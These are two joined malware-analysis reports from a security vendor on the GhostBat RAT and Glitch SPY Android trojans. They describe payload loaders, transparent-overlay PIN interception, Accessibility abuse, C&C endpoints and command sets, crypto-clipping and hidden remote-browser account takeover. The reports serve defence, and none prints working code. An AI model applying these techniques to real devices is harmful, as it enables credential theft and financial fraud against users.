Across the samples analyzed during the GhostX investigation, we identified multiple loader and dropper implementations designed to conceal the underlying malware payload, complicate static analysis, and reduce the effectiveness of hash- and signature-based detection.

Although the recovered payloads demonstrate overlapping capabilities for surveillance, financial theft, and device control, the mechanisms used to deliver and recover them vary considerably across samples.

Earlier variants relied on comparatively straightforward native loaders that decrypted embedded APK payloads using AES-CBC. Subsequent variants of Ghostbat RAT introduced XOR-encrypted custom containers, SPKZ/SPK1 packaging, split-APK delivery, dynamically loaded DEX components, and Java-based in-memory loaders.

One variant moved away from embedded payload delivery entirely. It operated as a remote downloader, retrieving a second-stage APK from remote infrastructure, validating its SHA-256 hash, and installing it through Android's package installation framework.

The most recent variant analyzed introduces a substantially more complex native loader implemented in libnetbridge.so. This loader combines multiple transformations, encryption, compression, and custom container stages before recovering the final GhostBat RAT payload.

This diversification indicates continued modification of the delivery layer while broadly retaining the malware's post-compromise objectives. Consequently, detections that focus only on the outer APK, the encrypted asset name, or a single unpacking routine are unlikely to provide durable coverage.

The GhostBat RAT loaders/droppers variants we observed are listed below:

The most recent GhostBat RAT sample introduced a significantly more complex native unpacking mechanism.

Unlike earlier variants that relied primarily on Java-based loaders or comparatively straightforward XOR/AES routines, this variant stores the encrypted payload inside an opaque application asset, assets/isti52q4, while most of the unpacking logic is implemented in the native library libnetbridge.so.

The visible application code does not directly expose the final malicious functionality. Instead, execution transitions to the native loader, which processes the embedded asset through several sequential stages of transformation and decryption (see Figure 8).

The first stage processes content within the encrypted asset file and derives values required for subsequent decoding. The resulting data is then passed through an RC4-like transformation before being processed through AES-256-GCM. This layered approach prevents the encrypted asset from being recovered using simple XOR or direct AES key extraction techniques that worked against earlier GhostBat RAT loaders.

Following successful decryption, the loader recovers an MSZ1-formatted intermediate object that is decompressed using zlib. The decompressed data contains an MSP1 container that packages the final Android application components.

The recovered payload consists of a split-APK application, including base.apk and split_config.dex.apk.

The executable malware code is primarily contained within the recovered split configuration DEX.

Unlike earlier samples, where the encrypted payload could be identified directly from ZIP headers or standard APK structures, the latest loader hides the final application behind several custom transformations before any recognizable Android package becomes available.

This significantly increases the effort required for automated unpacking and reduces the effectiveness of simple asset-scanning techniques.

Advanced GhostBat RAT Payload

GhostBat RAT has evolved from an Android SMS and information stealer into a modular remote-access and Banking Trojan.

Across the analyzed variants, the malware demonstrates capabilities for device profiling, SMS interception, remote SMS transmission, call-forwarding manipulation, payment-data theft, accessibility-based PIN capture, Firebase-driven command delivery, dynamic C&C configuration, and remote tunnelling.

In the new GhostBat RAT variant, we observed the introduction of Android Accessibility Service abuse, a technique commonly associated with modern Android Banking Trojans.

Earlier GhostBat RAT variants that we analyzed did not possess these capabilities during this investigation. The new variant uses Accessibility Service to monitor foreground applications, identify PIN-entry contexts, interact with application interfaces, and support two distinct credential-theft mechanisms: Ghost Overlay and targeted PIN/key-input capture.

Once Accessibility Services access is granted, the malware monitors the foreground application and compares it against configured target lists. These targets can be managed through Firebase Remote Config, allowing operators to selectively activate credential-capture functionality when a targeted banking, UPI, wallet, or payment application is in use.

Ghost Overlay

The most notable capability introduced in this variant is the Ghost Overlay technique.

Unlike conventional Android overlay attacks that display a fake login or payment page over the legitimate application, GhostBat RAT does not need to replace the victim's banking interface. Instead, it places transparent accessibility overlay regions directly over the real PIN keypad displayed by the targeted application.

The feature is controlled through Firebase Remote Config using:

ghost_overlay_enabled

ghost_overlay_packages

The default Ghost Overlay configuration targets the following Android packages:

com.mobikwik_new

com.google.android.apps.nbu.paisa

com.google.android.apps.nbu.paisa.user

When the malware detects one of these applications in the foreground and identifies a PIN-related activity, it creates a transparent keypad grid using Android’s TYPE_ACCESSIBILITY_OVERLAY. The overlay contains 12 touch regions matching the layout of a typical numeric PIN pad (see Figures 11 and 12):

When the victim taps a digit on the legitimate Google Pay or MobiKwik PIN keypad, the transparent Ghost Overlay intercepts the touch event before it reaches the underlying application.

The malware maps the touch coordinates to the corresponding keypad value and appends the resulting digit to an internal buffer used to reconstruct the PIN.

To avoid interrupting the payment flow or alerting the victim, GhostBat RAT temporarily releases the affected overlay region and uses AccessibilityService.dispatchGesture() to reproduce the same tap at the corresponding screen coordinates (see Figure 13).

As a result, the legitimate application receives the expected input and continues operating normally, while the malware records the victim's PIN in parallel.

The same mechanism handles DEL and OK interactions, allowing the GhostBat RAT to update the captured digit sequence and detect when the PIN entry process has completed. This intercept-and-replay behavior enables the malware to observe PIN entry without presenting a fake Google Pay or MobiKwik interface.

Once collected, the PIN is stored with metadata identifying the capture source as ghost_overlay and is subsequently queued for exfiltration over C&C “hxxps://api.cloudsettle[.]org/pin-data” (see Figure 14).

This technique is considerably stealthier than a conventional phishing overlay because the victim remains within the genuine financial application's interface throughout the interaction. GhostBat RAT effectively operates as an invisible intermediary, intercepting the victim's keypad interaction, recording the selected digits, and replaying those same touches into the legitimate application in near real time.

Targeted Keylogging and PIN Capture

In addition to the Ghost Overlay capability, the new GhostBat RAT variant implements a broader accessibility-based PIN/key-input capture mechanism targeting applications across India’s banking, UPI, wallet, fintech, and digital-payment ecosystem.

Unlike the Ghost Overlay feature, which is specifically designed to intercept keypad touches in Google Pay and MobiKwik via transparent overlay regions, this functionality relies on Android Accessibility Service events to monitor user interactions across a much larger set of targeted applications.

The default pin_target_packages configuration includes 60 Android package identifiers for financial applications used across India (see Figure 15).

The target set includes applications associated with Google Pay, PhonePe, Paytm, MobiKwik, BHIM, SBI UPI, Axis Pay, BharatPe, CRED, Freecharge, PayZapp, Groww, Navi, Jupiter, OneCard, JioFinance, Samsung Pay, and several other banking and payment services. The complete list of targeted Android packages is provided in the Targeted Application List section.

Once Accessibility Service is granted, GhostBat RAT monitors foreground activity and determines whether the currently running application(s) match an entry in pin_target_packages. The malware then evaluates the surrounding application and screen context before treating observed numeric input as potentially sensitive PIN information.

The malware also uses configurable PIN-length boundaries, pin_min_digits, and pin_min_digits to determine whether the reconstructed numeric sequence is consistent with an expected PIN.

Unlike Ghost Overlay, the broader keylogging mechanism does not rely on a transparent keypad overlay. Instead, GhostBat RAT uses Accessibility Service events and UI context to identify and reconstruct PIN-like input across a wider set of targeted financial applications, giving the malware substantially broader coverage within India’s banking and digital payment ecosystem.

The analyzed variant contains a dedicated worker responsible for handling captured PIN information, “PinUploadWorker”. Captured PINS are locally queued before being transmitted to the endpoint “/pin-data”.

The introduction of this capability substantially expands the financial targeting of GhostBat RAT. Earlier variants primarily relied on SMS interception, OTP theft, phishing interfaces, and call-forwarding manipulation.

The new variant can also monitor user interactions within legitimate financial applications and capture PIN-like input via Accessibility Service abuse.

Command and Control Infrastructure

The latest GhostBat RAT variant uses a multi-channel command-and-control architecture that combines a conventional HTTPS backend with Firebase services and a configurable WebSocket tunnel.

Compared with earlier variants, which relied more heavily on hardcoded infrastructure, the new implementation provides greater operational flexibility by allowing the attacker to modify backend addresses and enable or disable selected malware capabilities remotely.

In the analyzed sample, the default C&C infrastructure was configured as hxxps://api[.]cloudsettle[.]org. The malware communicates with this backend via multiple REST API endpoints that handle device registration, SMS collection, call log collection, command acknowledgement, PIN data submission, service state reporting, and other post-compromise functionality.

Endpoint	Purpose
/sms/batch	Uploads batches of SMS messages collected from the infected device
/sms/new	Sends newly received SMS messages to the C&C in near real time
/sms/delivery-status	Reports the delivery or failure status of remotely sent SMS messages
/call-logs/batch	Uploads collected call-log records in bulk
/call-logs/new	Sends newly observed call-log entries to the C&C
/devices/sim-info	Sends SIM and telephony-related information from the infected device
/devices/update-token	Registers or updates the device's Firebase Cloud Messaging token
/devices/service-status	Reports the operational status of malware services running on the device
/commands/ack	Acknowledges receipt or execution of commands issued by the C&C
/commands/call-forward/status	Reports the result or current state of call-forwarding operations
/ping-response	Responds to C&C ping requests and confirms that the infected device is online
/upload-response	Returns the result or status of generic upload or command operations
/pin-data	Uploads captured PIN-related data, including Ghost Overlay and broader PIN-capture records
/live-keylog/status	Reports or manages the operational state of the live keylogging functionality

One of the major changes in the latest GhostBat RAT variant is the use of Firebase Remote Config as an additional control layer. The analyzed payload is associated with the Firebase project andromeda-d389d and retrieves remotely managed configuration values that control both infrastructure and malware functionality.

Of particular interest is the base_url parameter, which allows the operator to replace the active REST backend without modifying or redistributing the APK. Therefore, api.cloudsettle.org represents the observed/default backend for this sample rather than a permanently fixed C&C address.

A similar dynamic C&C approach was observed during the GhostX investigation. An earlier NextGen mParivahan sample associated with the ghostx-panel Firebase project retrieved its backend configuration from Firestore using the app_config/network document and the baseUrl field.

In addition to the newly introduced Accessibility Service abuse, Ghost Overlay, targeted PIN capture, and dynamically configurable C&C functionality, GhostBat RAT continues to exhibit several core behaviors documented in our earlier research.

These include collecting SMS messages from compromised devices, monitoring newly received messages for banking- and OTP-related content, stealing UPI credentials through fraudulent mParivahan payment interfaces, and registering compromised devices with attacker-controlled infrastructure.

Earlier GhostBat RAT variants also used Telegram bots for device registration and operator notification, while selected dropper chains contained cryptocurrency-mining functionality alongside the information-stealing payload.

These previously documented capabilities remain important to the overall GhostBat RAT operation; however, the latest variants significantly expand the malware's financial-theft and remote-control functionality.

Rather than repeating the earlier functionality in detail, this analysis focuses on newly observed capabilities and architectural changes, particularly Accessibility Service abuse, Ghost Overlay PIN interception, broader targeting of financial applications, dynamic Firebase-based configuration, and evolving loader and C2 mechanisms.

Conclusion

The latest GhostBat RAT activity highlights continued evolution across both delivery mechanisms and post-compromise capabilities. The investigation into mParivahan- and eChallan-themed malware exposed the broader GhostX ecosystem, linking phishing infrastructure, backend control, and evolving GhostBat RAT payloads.

The introduction of Accessibility Service abuse, Ghost Overlay, broader PIN capture, and Firebase-driven dynamic configuration significantly expands the malware’s financial-theft capabilities while making the operation more adaptable. Combined with continuously evolving loaders and active phishing activity, GhostBat RAT remains a threat to Android users, particularly across India’s banking, UPI, and digital payment ecosystem.

Cyble’s Threat Intelligence Platforms continuously monitor emerging threats, infrastructure, and activity across the dark web, deep web, and open sources. This proactive intelligence empowers organizations with early detection, impersonation, infrastructure mapping, and attribution insights. Altogether, these capabilities provide a critical head start in mitigating and responding to evolving cyber threats.

CRIL’s analysis of this campaign has been selected for the upcoming Association of Anti-Virus Asia Researchers (AVAR) conference, where these findings will be showcased.

Our Recommendations

We have listed essential cybersecurity best practices that form the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms like the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities that malware exploits.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access	Phishing (T1660)	GhostBat RAT is distributed through smishing messages containing malicious links that redirect victims to fake mParivahan/eChallan or Google Play-style pages used to deliver the malicious APK.
Persistence	Event Triggered Execution: Broadcast Receivers (T1624.001)	GhostBat RAT uses a boot-triggered Broadcast Receiver to restart its malicious services and workers after device reboot, allowing the implant to resume background activity.
Defense Evasion	Masquerading: Match Legitimate Name or Location (T1655.001)	GhostBat RAT masquerades as legitimate mParivahan/eChallan applications and uses government-themed names, icons, and interfaces to deceive victims.
Defense Evasion	Obfuscated Files or Information: Software Packing (T1406.002)	GhostBat RAT uses multiple encrypted and packed loader mechanisms, including AES-CBC, XOR, SPKZ/SPK1, encrypted DEX stages, and the libnetbridge.so multi-stage loader to conceal the final payload.
Defense Evasion	Download New Code at Runtime (T1407)	One observed GhostBat RAT delivery variant remotely downloads a second-stage APK, validates the payload, and installs it after the initial dropper executes.
Defense Evasion	Input Injection (T1516)	GhostBat RAT abuses AccessibilityService.dispatchGesture() to replay intercepted PIN-keypad touches into legitimate Google Pay and MobiKwik applications as part of the Ghost Overlay technique.
Credential Access	Abuse Accessibility Features (T1453)	The latest GhostBat RAT variant abuses Android Accessibility Service to monitor targeted financial applications, identify PIN-entry contexts, capture sensitive input, and support Ghost Overlay activity.
Credential Access	Input Capture: Keylogging (T1417.001)	GhostBat RAT uses Accessibility Service events to capture PIN/key-input activity from targeted financial applications. The default configuration targets 60 Android banking, UPI, wallet, fintech, and payment applications.
Credential Access	Input Capture: GUI Input Capture (T1417.002)	Selected GhostBat RAT variants use fraudulent payment interfaces to capture UPI PINs, payment-card details, and other financial information entered by victims.
Credential Access	Access Notifications (T1517)	Selected GhostBat RAT variants register a notification-listener service to monitor notifications generated by other applications, potentially exposing OTPs and other sensitive information.
Discovery	System Information Discovery (T1426)	GhostBat RAT collects device information including Android version, device model, manufacturer, identifiers, and other system metadata.
Discovery	Software Discovery (T1418)	GhostBat RAT can enumerate applications installed on the compromised device and uses package information to identify targeted banking and financial applications.
Collection	Protected User Data: SMS Messages (T1636.004)	GhostBat RAT collects historical SMS messages and monitors newly received messages, including OTPs, banking alerts, and other sensitive message content.
Collection	Protected User Data: Call Log (T1636.002)	GhostBat RAT collects call-history information and uploads historical and newly observed call-log records through its C2 infrastructure.
Impact	SMS Control (T1582)	GhostBat RAT can receive attacker-defined SMS jobs and send messages through the infected device's SIM, allowing compromised devices to be used for remotely controlled SMS transmission and potentially further smishing activity.
Impact	Call Control (T1616)	GhostBat RAT can manipulate and query call forwarding using USSD-based operations and report the forwarding state to its C2 infrastructure.
Command and Control	Application Layer Protocol: Web Protocols (T1437.001)	GhostBat RAT communicates with its backend through HTTPS REST APIs and uses Firebase Cloud Messaging for command delivery. The latest variant also contains a configurable secure WebSocket communication channel.

The post The GhostX Ecosystem: Forged in Transit, Licensed to Deceive appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.

Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.

The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.

Glitch SPY maintains a persistent WebSocket channel to its C&C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.

Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.

The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.

Key Takeaways

• Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&C admin panel.
• The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.
• The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.
• Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.
• Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.
• The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.
• The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.
• The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.

Overview

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, based on branding observed on an exposed command-and-control (C&C) admin panel. The malware was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.

The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.

The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.

Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.

During analysis, the malware was observed communicating with the C&C domain sportypointsrewards[.]com. Accessing the C&C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.

However, no communicating APK associated with that second panel has been recovered at the time of analysis.

Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:

• The Agents module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.
• The Viewer module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.
• The Builder module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.
• The Cryptor module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.
• The Dropper module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.
• The Payloads module appears to store APKs generated by the Builder and Dropper modules.

Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.

After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.

This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.

A detailed technical analysis of these capabilities is provided in the following section.

Technical Analysis

The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.

After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.

Abuse of Android Accessibility Service

Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.

The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.

Command and Control

After installation, Glitch SPY starts its core C&C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.

The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.

The complete list of commands is provided below.

Command	Feature
request_screen_stream	Starts live screen streaming from the infected device to the C&C panel.
stop_screen_stream	Stops the active screen-streaming session.
request_screenshot	Captures a screenshot of the infected device screen and returns it to the C&C.
request_screen_reader_text	Uses Accessibility to extract visible on-screen text and send it to the C&C Server.
request_sms	Collects SMS messages from the infected device.
send_sms	Sends an SMS message from the infected device using TA provided content.
request_contacts	Extracts the victim’s contact list.
request_call_log	Collects call history from the infected device.
request_location	Retrieves the device location.
request_app_list	Enumerates installed applications on the device.
request_device_accounts	Collects account information configured on the Android device.
request_system_info	Collects device metadata
request_file_list	Lists files and folders from a specified path on the device.
request_file_download	Downloads a selected file from the infected device to the C&C.
request_folder_zip_download	Compresses a folder and prepares it for download
file_upload_start	Starts a file upload session.
file_upload_chunk	Transfers a chunk of a file being uploaded to the infected device.
file_upload_finish	Finalizes the file upload operation on the device.
file_upload_cancel	Cancels an active file upload session.
file_mkdir	Creates a new directory on the infected device.
file_rename	Renames a selected file or folder on the device.
file_run	Opens or executes a selected file on the infected device.
file_zip_here	Creates a ZIP archive next to the selected folder on the device.
file_crypto_lock	Encrypts a selected file, likely producing a .enc file and removing the original.
file_crypto_unlock	Decrypts a previously encrypted .enc file.
request_offline_keylog	Retrieves offline keylog data from the device.
start_keylogger	Starts keylogging
stop_keylogger	Stops the active keylogging module.
request_camera_stream	Starts camera streaming from the infected device.
stop_camera_stream	Stops the active camera stream.
start_audio	Starts audio capture from the infected device.
stop_audio	Stops audio capture.
start_clipboard_monitor	Starts monitoring the device clipboard.
stop_clipboard_monitor	Stops clipboard monitoring.
clipper_get_config	Retrieves the current crypto-clipper configuration from the device.
clipper_set_config	Pushes or updates clipper rules, likely including wallet replacement addresses.
clipper_inject_clipboard	Forces/injects clipboard content on the victim device.
execute_command	Executes a TA-provided shell command on the infected device.
remote_browser_start	Starts a remote browser session on the infected device.
remote_browser_stop	Stops the remote browser session.
remote_browser_navigate	Navigates the remote browser to a supplied URL.
remote_browser_click	Performs a click action inside the remote browser session.
remote_browser_text	Enter the TA-provided text into the remote browser.
remote_browser_swipe	Performs a swipe gesture inside the remote browser session.
remote_browser_key	Sends keyboard key actions to the remote browser, such as Enter, Backspace, Tab, or arrow keys.
remote_browser_js_fill	Fills fields in the remote browser using JavaScript-style automation.
remote_browser_clear_field	Clears a selected input field in the remote browser.
remote_browser_action	Performs a generic browser-side action, likely used for submit, back, reload, or similar UI actions.
remote_browser_set_mode	Switches the remote browser view mode, such as desktop/mobile mode.
remote_browser_fps	Adjusts the remote browser streaming or update frame rate.
tap_ui_submit	Attempts to tap a visible submit/OK/Done button or sends Enter to submit the current UI.
pattern_fetch	Retrieves a stored Android unlock pattern from the malware/device-side store.
pattern_store	Saves a TA-provided Android unlock pattern for later reuse.
pattern_clear_store	Clears the saved unlock pattern from storage.
pattern_auto_unlock	Uses a saved or provided pattern to attempt automatic device unlock.
credential_fetch	Retrieves a stored PIN/password credential value or credential state.
credential_manual_save	Saves a PIN/password credential provided by the TA on the device side.
credential_manual_save_unlock	Saves a supplied credential and immediately attempts to unlock the device with it.
credential_auto_unlock	Attempts to unlock the device automatically using a previously captured or saved credential.
credential_clear	Clears the stored PIN/password credentials from the malware’s storage.
prompt_permission_notifications	Opens or triggers the Android notification permission flow.
prompt_permission_storage	Opens or triggers the storage permission flow.
prompt_permission_location	Opens or triggers the location permission flow.
prompt_permission_battery	Opens the battery optimization exemption flow.
prompt_permission_all_files	Opens the “All files access” permission screen.
activate_device_admin	Launches or triggers Device Admin activation for the malware.
deactivate_device_admin	Attempts to remove Device Admin rights from the malware.
block_biometric	Enables/disables biometric prompt suppression to force PIN/password fallback.
wake_screen	Wake the victim's device screen.
lock_device	Locks the device screen
hide_screen	Hides the visible device screen from the victim's side
hide_app	Hides the malware application icon or disables its launcher component.
show_app	Restores the malware application launcher component.
self_uninstall	Attempts to uninstall the malware from the device.
uninstall_app	Attempts to uninstall a specified application from the device.

Screen Capture and Live Streaming

Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.

When the TA issues the request_screen_stream command from the C&C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.

The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.

For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.

This allows the malware to collect sensitive information displayed in banking applications, messaging apps, OTP prompts, browser pages, and authentication screens.

In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.

File Manager and File Encryption

Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&C as a file listing.

If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.

Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.

The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.

Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.

Crypto Clipper Functionality

The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied cryptocurrency wallet addresses with TA-configured addresses.

The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.

When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.

If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.

If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.

After the replacement, the malware reports the event to the C&C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.

Remote Browser Capability

Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.

The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&C server. This allows the TA to confirm that the browser session is active and ready for interaction.

The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.

When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.

The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.

This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.

In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.

Conclusion

Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.

Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.

The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.

While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.

Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.

Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	Glitch SPY is distributed via phishing sites
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	Glitch SPY implemented a broadcast receiver for screen capturing
Defense Evasion (TA0030)	Impair Defenses: Prevent Application Removal (T1629.001)	Prevent uninstalling application
